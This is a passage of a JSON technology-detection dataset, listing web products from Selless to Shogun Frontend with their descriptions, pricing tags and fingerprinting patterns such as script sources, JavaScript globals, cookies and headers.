ready-to-use ecommerce platform.\",\n    \"icon\": \"Selless.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.assetPrefix\": \"\\\\.selless\\\\.us/\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://selless.com\"\n  },\n  \"Sellfy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sellfy is an ecommerce platform designed specifically for selling digital products, such as music, illustrations, photos, books or videos in digital files.\",\n    \"icon\": \"Sellfy.svg\",\n    \"js\": {\n      \"_sellfy.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sellfy\\\\.com/js/\"\n    ],\n    \"website\": \"https://sellfy.com\"\n  },\n  \"Sellingo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sellingo is a Polish ecommerce platform.\",\n    \"dom\": {\n      \"a[href*='sellingo.pl'][target='_blank']\": {\n        \"text\": \"Sellingo\"\n      }\n    },\n    \"icon\": \"Sellingo.svg\",\n    \"js\": {\n      \"sellingoQuantityCalc\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sellingo.pl\"\n  },\n  \"Sellix\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Sellix is an ecommerce payment processor. It accepts PayPal, PerfectMoney and popular cryptocurrencies.\",\n    \"dom\": [\n      \"link[href*='.sellix.io']\"\n    ],\n    \"icon\": \"Sellix.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.sellix\\\\.io/static/js/embed\\\\.js\"\n    ],\n    \"website\": \"https://sellix.io/\"\n  },\n  \"Sellsy\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Sellsy is a cloud-based sales management solution for small to midsize businesses\",\n    \"icon\": \"Sellsy.svg\",\n    \"js\": {\n      \"SellsySnippet\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sellsy\\\\.com/\"\n    ],\n    \"website\": \"https://go.sellsy.com\"\n  },\n  \"Selly\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Selly is an ecommerce platform for selling digital goods.\",\n    \"icon\": \"Selly.svg\",\n    \"pricing\": [\n      \"low\",\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embed\\\\.selly\\\\.(?:gg|io)\"\n    ],\n    \"website\": \"https://selly.io/\"\n  },\n  \"Semantic UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Semantic UI is a front-end development framework, powered by LESS and jQuery.\",\n    \"dom\": [\n      \"link[href*='/semantic.min.css']\"\n    ],\n    \"html\": [\n      \"<link[^>]+semantic(?:\\\\.min)\\\\.css\\\"\"\n    ],\n    \"icon\": \"Semantic-ui.svg\",\n    \"scriptSrc\": [\n      \"/semantic(?:-([\\\\d.]+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://semantic-ui.com/\"\n  },\n  \"Sematext Experience\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Sematext Experience for Real User Monitoring Analyze data collected from real-user sessions, detect anomalies, send alerts in real-time, and enhance overall customer digital experience.\",\n    \"icon\": \"Sematext.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sematext\\\\.com/experience\\\\.js\"\n    ],\n    \"website\": \"https://sematext.com/experience\"\n  },\n  \"Semplice\": {\n    \"cats\": [\n      80,\n      51\n    ],\n    \"description\": \"Semplice is a Wordpress-based website builder made by designers for designers.\",\n    \"icon\": \"Semplice.svg\",\n    \"js\": {\n      \"semplice.template_dir\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/semplice(?:\\\\d+)?(?:-child)?(?:-theme)?/\"\n    ],\n    \"website\": \"https://www.semplice.com\"\n  },\n  \"Sencha Touch\": {\n    \"cats\": [\n      12,\n      26\n    ],\n    \"description\": \"Sencha Touch is a user interface (UI) JavaScript library, or web framework, specifically built for the Mobile Web.\",\n    \"icon\": \"Sencha Touch.svg\",\n    \"scriptSrc\": [\n      \"sencha-touch.*\\\\.js\"\n    ],\n    \"website\": \"https://www.sencha.com/products/touch\"\n  },\n  \"SendPulse\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"SendPulse is an email marketing platform with additional channels: SMS, web push notifications, Facebook and WhatsApp chatbots.\",\n    \"dom\": [\n      \"link[href*='.sendpulse.com']\"\n    ],\n    \"icon\": \"SendPulse.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sendpulse\\\\.com/\"\n    ],\n    \"website\": \"https://sendpulse.com\"\n  },\n  \"SendX\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SendX is an email marketing software designed to help users send campaigns, build mailing lists, and automate marketing.\",\n    \"icon\": \"SendX.svg\",\n    \"js\": {\n      \"_sendx\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sendx\\\\.io/\"\n    ],\n    \"website\": \"https://www.sendx.io\"\n  },\n  \"Sendgrid\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"SendGrid is a cloud-based email delivery platform for transactional and marketing emails.\",\n    \"dns\": {\n      \"TXT\": [\n        \"sendgrid\\\\.net\"\n      ]\n    },\n    \"icon\": \"SendGrid.svg\",\n    \"website\": \"https://sendgrid.com/\"\n  },\n  \"Sendinblue\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Sendinblue is an email marketing solution for small and medium-sized businesses that want to send and automate email marketing campaigns.\",\n    \"dns\": {\n      \"TXT\": [\n        \"\\\\.sendinblue\\\\.com\",\n        \"Sendinblue-code\"\n      ]\n    },\n    \"dom\": [\n      \"iframe[src*='sibautomation.com/']\"\n    ],\n    \"icon\": \"Sendinblue.svg\",\n    \"js\": {\n      \"sendinblue\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sib(?:automation|forms)\\\\.com/\"\n    ],\n    \"website\": \"https://www.sendinblue.com\"\n  },\n  \"Senja\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Senja is a platform that enables the collection, management, and sharing of social proof to grow businesses.\",\n    \"icon\": \"Senja.svg\",\n    \"js\": {\n      \"SenjaAffiliatePoweredBy\": \"\",\n      \"SenjaBuilderInitialized\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.senja\\\\.io/\"\n    ],\n    \"website\": \"https://senja.io\"\n  },\n  \"Sensai Metrics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Sensai Metrics is a SAAS platform that analyzes ecommerce stores using various data science models to provide customers with actionable insights, predictions, and recommendations aimed at scaling their revenue.\",\n    \"icon\": \"SensaiMetrics.svg\",\n    \"js\": {\n      \"sensai.extensions\": \"\",\n      \"sensaiTracker.extensions\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sensaimetrics\\\\.io/\"\n    ],\n    \"website\": \"https://sensaimetrics.io\"\n  },\n  \"Sensors Data\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"sensorsdata2015jssdkcross\": \"\",\n      \"sensorsdata2015session\": \"\"\n    },\n    \"icon\": \"Sensors Data.svg\",\n    \"js\": {\n      \"sa.lib_version\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"sensorsdata_app_js_bridge_call_js\": \"\"\n    },\n    \"scriptSrc\": [\n      \"sensorsdata\"\n    ],\n    \"website\": \"https://www.sensorsdata.cn\"\n  },\n  \"Sentifi\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Sentifi is a platform that leverages crowd-based financial intelligence to analyze and provide insights into market trends, helping users make informed decisions based on collective data.\",\n    \"icon\": \"Sentifi.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-pub\\\\.sentifi\\\\.com/\"\n    ],\n    \"website\": \"https://sentifi.com\"\n  },\n  \"Sentry\": {\n    \"cats\": [\n      13\n    ],\n    \"cpe\": \"cpe:2.3:a:sentry:sentry:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sentry is an open-source platform for workflow productivity, aggregating errors from across the stack in real time.\",\n    \"html\": [\n      \"<script[^>]*>\\\\s*Raven\\\\.config\\\\('[^']*', \\\\{\\\\s+release: '([0-9\\\\.]+)'\\\\;version:\\\\1\",\n      \"<script[^>]*src=\\\"[^\\\"]*browser\\\\.sentry\\\\-cdn\\\\.com/([0-9.]+)/bundle(?:\\\\.tracing)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Sentry.svg\",\n    \"js\": {\n      \"Raven.config\": \"\",\n      \"SENTRY_SDK_SOURCE\": \"\",\n      \"Sentry\": \"\",\n      \"Sentry.SDK_VERSION\": \"(.+)\\\\;version:\\\\1\",\n      \"__SENTRY__\": \"\",\n      \"ravenOptions.whitelistUrls\": \"\"\n    },\n    \"scriptSrc\": [\n      \"browser\\\\.sentry\\\\-cdn\\\\.com/([0-9.]+)/bundle(?:\\\\.tracing)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"js\\\\.sentry-cdn\\\\.com/\"\n    ],\n    \"website\": \"https://sentry.io/\"\n  },\n  \"Seravo\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"headers\": {\n      \"x-powered-by\": \"^Seravo\"\n    },\n    \"icon\": \"Seravo.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://seravo.com\"\n  },\n  \"Serchen\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Serchen is a platform that enables buyers to search, compare and evaluate a vast quantity of vendors in an ever increasingly diverse range of industries.\",\n    \"icon\": \"Serchen.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.serchen\\\\.com/\"\n    ],\n    \"website\": \"https://www.serchen.com\"\n  },\n  \"Serendipity\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"icon\": \"Serendipity.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"Powered-By\": \"Serendipity v\\\\.([\\\\d.]+)\\\\;version:\\\\1\",\n      \"generator\": \"Serendipity(?: v\\\\.([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://s9y.org\"\n  },\n  \"Service Management Group\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Service Management Group offers customer experience measurement, employee engagement, social monitoring, publishing, and brand research services.\",\n    \"dom\": [\n      \"link[href*='api.smg.com']\"\n    ],\n    \"icon\": \"Service Management Group.svg\",\n    \"js\": {\n      \"smgETrackParams\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.smg\\\\.com/\"\n    ],\n    \"website\": \"https://www.smg.com\"\n  },\n  \"Service Provider Pro\": {\n    \"cats\": [\n      41,\n      53\n    ],\n    \"cookies\": {\n      \"spp_csrf\": \"\\\\;confidence:25\",\n      \"spp_orderform\": \"\",\n      \"spp_session\": \"\\\\;confidence:25\"\n    },\n    \"description\": \"Service Provider Pro is a client management & billing software for productized service agencies.\",\n    \"icon\": \"Service Provider Pro.svg\",\n    \"js\": {\n      \"sppOrderform\": \"\"\n    },\n    \"meta\": {\n      \"server\": \"app.spp.co\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js/spp_clients\\\\.js\\\\;confidence:50\",\n      \"\\\\.spp\\\\.io/js/\"\n    ],\n    \"website\": \"https://spp.co\"\n  },\n  \"ServiceM8\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"ServiceM8 is a field service management application that enables job dispatch, staff location, and communication with employees and clients without phone calls.\",\n    \"icon\": \"ServiceM8.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"platform\\\\.servicem8\\\\.com/\"\n    ],\n    \"website\": \"https://www.servicem8.com\"\n  },\n  \"ServiceNow\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"ServiceNow is a cloud computing platform to help companies manage digital workflows for enterprise operations.\",\n    \"dom\": {\n      \"a[href*='.service-now.com']\": {\n        \"attributes\": {\n          \"href\": \"https://[^.]+\\\\.service-now\\\\.com/.+\"\n        }\n      }\n    },\n    \"icon\": \"ServiceNow.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"high\"\n    ],\n    \"website\": \"https://www.servicenow.com\"\n  },\n  \"SessionStack\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"SessionStack is an AI-enhanced analytics platform for online retailers, helping convert visitors into customers.\",\n    \"icon\": \"SessionStack.svg\",\n    \"js\": {\n      \"SessionStack\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.sessionstack\\\\.com/\"\n    ],\n    \"website\": \"https://www.sessionstack.com\"\n  },\n  \"Sessionly\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Sessionly is a loyalty and referral program for Shopware and Shopify merchants, focusing on customer retention and acquisition through rewards and detailed analytics.\",\n    \"icon\": \"Sessionly.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopware\",\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//sessionly\\\\.io/\"\n    ],\n    \"website\": \"https://sessionly.hubspotpagebuilder.com\"\n  },\n  \"Setmore\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Setmore is a cloud-based appointment scheduling solution.\",\n    \"icon\": \"Setmore.svg\",\n    \"js\": {\n      \"setmorePopup\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"my\\\\.setmore\\\\.\\\\w+/\",\n      \"/setmore-appointments/script/\"\n    ],\n    \"website\": \"https://www.setmore.com\"\n  },\n  \"Setrics\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"Setrics is an omni-channel marketing and analysis platform that enables businesses to track and optimize customer interactions across multiple channels.\",\n    \"js\": {\n      \"setrics_tracking.track_goal\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.setrics\\\\.com/\"\n    ],\n    \"website\": \"https://setrics.com\"\n  },\n  \"Setrow\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Setrow is a platform offering integrated digital marketing tools, including email and SMS marketing, push notifications, and recommendation engines, to optimize customer engagement and marketing strategies.\",\n    \"icon\": \"Setrow.svg\",\n    \"js\": {\n      \"setrowCookies\": \"\",\n      \"setrowID\": \"\",\n      \"setrowSua\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.setrowid\\\\.com/\"\n    ],\n    \"website\": \"https://setrow.com\"\n  },\n  \"SevenRooms\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"SevenRooms is an fully-integrated reservation, seating and restaurant management system.\",\n    \"dom\": {\n      \"iframe[src*='sevenrooms']\": {\n        \"attributes\": {\n          \"src\": \"\\\\.sevenrooms\\\\.\\\\w+/\"\n        }\n      }\n    },\n    \"icon\": \"SevenRooms.svg\",\n    \"js\": {\n      \"SevenroomsWidget\": \"\"\n    },\n    \"scriptSrc\": [\n      \"sevenrooms\\\\.\\\\w+/widget/embed\\\\.js\"\n    ],\n    \"website\": \"https://sevenrooms.com\"\n  },\n  \"Sezzle\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Sezzle offers a buy-now-pay-later solution.\",\n    \"icon\": \"Sezzle.svg\",\n    \"js\": {\n      \"AwesomeSezzle\": \"\",\n      \"renderSezzleIframe\": \"\",\n      \"sezzle_footer_images\": \"\"\n    },\n    \"meta\": {\n      \"sezzle_cid\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.sezzle\\\\.(?:in|com)\"\n    ],\n    \"website\": \"https://sezzle.com/\"\n  },\n  \"Shaka Player\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Shaka Player is an open-source JavaScript library for adaptive media.\",\n    \"icon\": \"Shaka Player.svg\",\n    \"js\": {\n      \"shaka.Player.version\": \"v([\\\\d\\\\.\\\\-\\\\w]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/shaka-project/shaka-player\"\n  },\n  \"Shanon\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Shanon provides marketing automation software.\",\n    \"icon\": \"Shanon.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.shanon-services\\\\.com\"\n    ],\n    \"website\": \"https://www.shanon.co.jp\"\n  },\n  \"Shapecss\": {\n    \"cats\": [\n      66\n    ],\n    \"html\": [\n      \"<link[^>]* href=\\\"[^\\\"]*shapecss(?:\\\\.min)?\\\\.css\"\n    ],\n    \"icon\": \"Shapecss.svg\",\n    \"js\": {\n      \"Shapecss\": \"\"\n    },\n    \"scriptSrc\": [\n      \"shapecss[-.]([\\\\d.]*\\\\d)[^/]*\\\\.js\\\\;version:\\\\1\",\n      \"/([\\\\d.]+)/shapecss(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"shapecss.*\\\\.js\"\n    ],\n    \"website\": \"https://shapecss.com\"\n  },\n  \"Shapo\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Shapo is a platform that simplifies the collection, management, and visualization of customer testimonials.\",\n    \"icon\": \"Shapo.svg\",\n    \"js\": {\n      \"_shapoLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shapo\\\\.io/\"\n    ],\n    \"website\": \"https://shapo.io/\"\n  },\n  \"ShareThis\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"ShareThis provides free engagement and growth tools (e.g., share buttons, follow buttons, and reaction buttons) for site owners.\",\n    \"icon\": \"ShareThis.svg\",\n    \"js\": {\n      \"SHARETHIS\": \"\",\n      \"__sharethis__docReady\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.sharethis\\\\.com/\"\n    ],\n    \"website\": \"https://sharethis.com\"\n  },\n  \"Shareaholic\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Shareaholic is a all-in-one content amplification and monetisation platform.\",\n    \"icon\": \"shareaholic.svg\",\n    \"js\": {\n      \"Shareaholic\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.shareaholic.com/\"\n  },\n  \"Sharethrough\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Sharethrough is a software company that powers in-feed advertising for brands and publishers.\",\n    \"dom\": [\n      \"link[href*='.sharethrough.com']\"\n    ],\n    \"icon\": \"Sharethrough.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.sharethrough\\\\.com/\"\n    ],\n    \"website\": \"https://www.sharethrough.com\"\n  },\n  \"Sharetribe\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:sharetribe:sharetribe:*:*:*:*:*:*:*:*\",\n    \"description\": \"Sharetribe is cloud-based platform for small to medium businesses, which helps businesses to create and manage custom online marketplaces.\",\n    \"dom\": [\n      \"img[srcset*='sharetribe.imgix.net/'], img[src*='user-assets.sharetribe.com/']\"\n    ],\n    \"icon\": \"Sharetribe.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sharetribe\\\\.com/\"\n    ],\n    \"website\": \"https://www.sharetribe.com\"\n  },\n  \"SharpSpring\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SharpSpring is a cloud-based marketing tool that offers customer relationship management, marketing automation, mobile and social marketing, sales team automation, customer service and more, all within one solution.\",\n    \"icon\": \"SharpSpring.svg\",\n    \"js\": {\n      \"sharpspring_tracking_installed\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.marketingautomation\\\\.services.+(?:ver=)([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://sharpspring.com\"\n  },\n  \"SharpSpring Ads\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"SharpSpring Ads is an all-in-one retargeting platform.\",\n    \"icon\": \"SharpSpring.svg\",\n    \"js\": {\n      \"_pa\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.perfectaudience\\\\.com\"\n    ],\n    \"website\": \"https://sharpspring.com/ads\"\n  },\n  \"SheerID\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"SheerID is a highly specialised solution offering online verification support for retailers, marketers and service providers.\",\n    \"dom\": [\n      \"a[href*='.sheerid.com/'], img[src*='.sheerid.com/']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.sheerid\\\\.com\",\n      \"content-security-policy-report-only\": \"\\\\.sheerid\\\\.com\"\n    },\n    \"icon\": \"SheerID.svg\",\n    \"js\": {\n      \"SheerID\": \"\",\n      \"sheerid\": \"\"\n    },\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\"sheerIdEndpoint\\\":\"\n    ],\n    \"website\": \"https://www.sheerid.com/\"\n  },\n  \"Sheet Monkey\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Sheet Monkey is a form builder that stores data in Google Sheets, eliminating the need for a backend.\",\n    \"dom\": [\n      \"form[action*='api.sheetmonkey.io/']\"\n    ],\n    \"icon\": \"SheetMonkey.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sheetmonkey.io\"\n  },\n  \"Sheety\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Sheety is a service that transforms your Google Sheet into an API, enabling easy access to your data for integration with other applications.\",\n    \"icon\": \"Sheety.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"api\\\\.sheety\\\\.co/\"\n    ],\n    \"website\": \"https://sheety.co/\"\n  },\n  \"Shelf\": {\n    \"cats\": [\n      33\n    ],\n    \"description\": \"Shelf is a server framework for Dart.\",\n    \"headers\": {\n      \"Server\": \"dart:io with Shelf\",\n      \"x-powered-by\": \"Dart with package:shelf\"\n    },\n    \"icon\": \"Dart.svg\",\n    \"implies\": [\n      \"Dart\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://pub.dev/packages/shelf\"\n  },\n  \"ShellInABox\": {\n    \"cats\": [\n      46\n    ],\n    \"description\": \"Shell In A Box implements a web server that can export arbitrary command line tools to a web based terminal emulator.\",\n    \"html\": [\n      \"<title>Shell In A Box</title>\",\n      \"must be enabled for ShellInABox</noscript>\"\n    ],\n    \"icon\": \"ShellInABox.png\",\n    \"js\": {\n      \"ShellInABox\": \"\"\n    },\n    \"website\": \"https://shellinabox.com\"\n  },\n  \"Shepherd\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Shepherd is a JavaScript library which makes an use-friendly user-guide to any website.\",\n    \"icon\": \"Shepherd.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"shepherd(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://shepherdjs.dev/\"\n  },\n  \"Sherlock\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Sherlock is a platform that offers specialized real estate property management software, including trust accounting, for residential, commercial, sales, and holiday properties.\",\n    \"icon\": \"Sherlock.svg\",\n    \"js\": {\n      \"Sherlock_favourite_properties\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sherlocksoftware.com\"\n  },\n  \"Shift4Shop\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cookies\": {\n      \"3dvisit\": \"\"\n    },\n    \"description\": \"Shift4Shop, formerly known as 3Dcart, is an ecommerce software provider for online businesses.\",\n    \"headers\": {\n      \"X-Powered-By\": \"3DCART\"\n    },\n    \"icon\": \"Shift4Shop.svg\",\n    \"js\": {\n      \"_3d_cart.subtotal\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:twlh(?:track)?\\\\.asp|3d_upsell\\\\.js)\"\n    ],\n    \"website\": \"https://www.shift4shop.com\"\n  },\n  \"Shiny\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:rstudio:shiny_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"Shiny is an R package that enables the creation of interactive web applications using only R code, facilitating reactive programming and providing a variety of prebuilt widgets for dynamic user interfaces.\",\n    \"headers\": {\n      \"x-powered-by\": \"^Shiny Server$\"\n    },\n    \"icon\": \"Shiny.svg\",\n    \"js\": {\n      \"Shiny.addCustomMessageHandler\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://shiny.posit.co\"\n  },\n  \"ShinyStat\": {\n    \"cats\": [\n      10\n    ],\n    \"html\": [\n      \"<img[^>]*\\\\s+src=['\\\"]?https?://www\\\\.shinystat\\\\.com/cgi-bin/shinystat\\\\.cgi\\\\?[^'\\\"\\\\s>]*['\\\"\\\\s/>]\"\n    ],\n    \"icon\": \"ShinyStat.svg\",\n    \"js\": {\n      \"SSsdk\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://codice(?:business|ssl|pro|isp)?\\\\.shinystat\\\\.com/cgi-bin/getcod\\\\.cgi\"\n    ],\n    \"website\": \"https://shinystat.com\"\n  },\n  \"ShipStation\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"ShipStation is a web-based shipping software designed to help ecommerce businesses streamline their shipping processes. It allows businesses to import, manage, and ship their orders from multiple sales channels, including marketplaces, shopping carts, and ecommerce platforms.\",\n    \"dom\": [\n      \"a[href*='//track.shipstation.com/']\"\n    ],\n    \"icon\": \"ShipStation.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"track\\\\.shipstation\\\\.com\"\n    ],\n    \"website\": \"https://www.shipstation.com\"\n  },\n  \"ShipTection\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"ShipTection is the easiest way to offer shipping protection on your Shopify site.\",\n    \"icon\": \"ShipTection.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.shiptection\\\\.com/\"\n    ],\n    \"website\": \"https://wamapps.io/pages/shiptection-protection\"\n  },\n  \"ShippyPro\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"ShippyPro is the complete shipping software for ecommerce that helps worldwide merchants to ship, track, and manage returns for their orders.\",\n    \"dom\": [\n      \"a[href*='.shippypro.com/return-form.html']\"\n    ],\n    \"icon\": \"ShippyPro.svg\",\n    \"js\": {\n      \"ShippyProReturnForm\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shippypro.com\"\n  },\n  \"Shoefitr.io\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Shoefitr.io is data-based shoe size advice service where we measure the length, width, ball, and instep.\",\n    \"dom\": [\n      \"a[href*='api.shoefitr.io/']\"\n    ],\n    \"icon\": \"Shoefitr.io.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.shoefitr.io\"\n  },\n  \"Shoelace\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Shoelace is an open-source, framework-agnostic component for building accessible web applications.\",\n    \"icon\": \"Shoelace.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/npm/@shoelace-style/shoelace@([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://shoelace.style\"\n  },\n  \"Shogun Frontend\": {\n    \"cats\": [\n      108\n    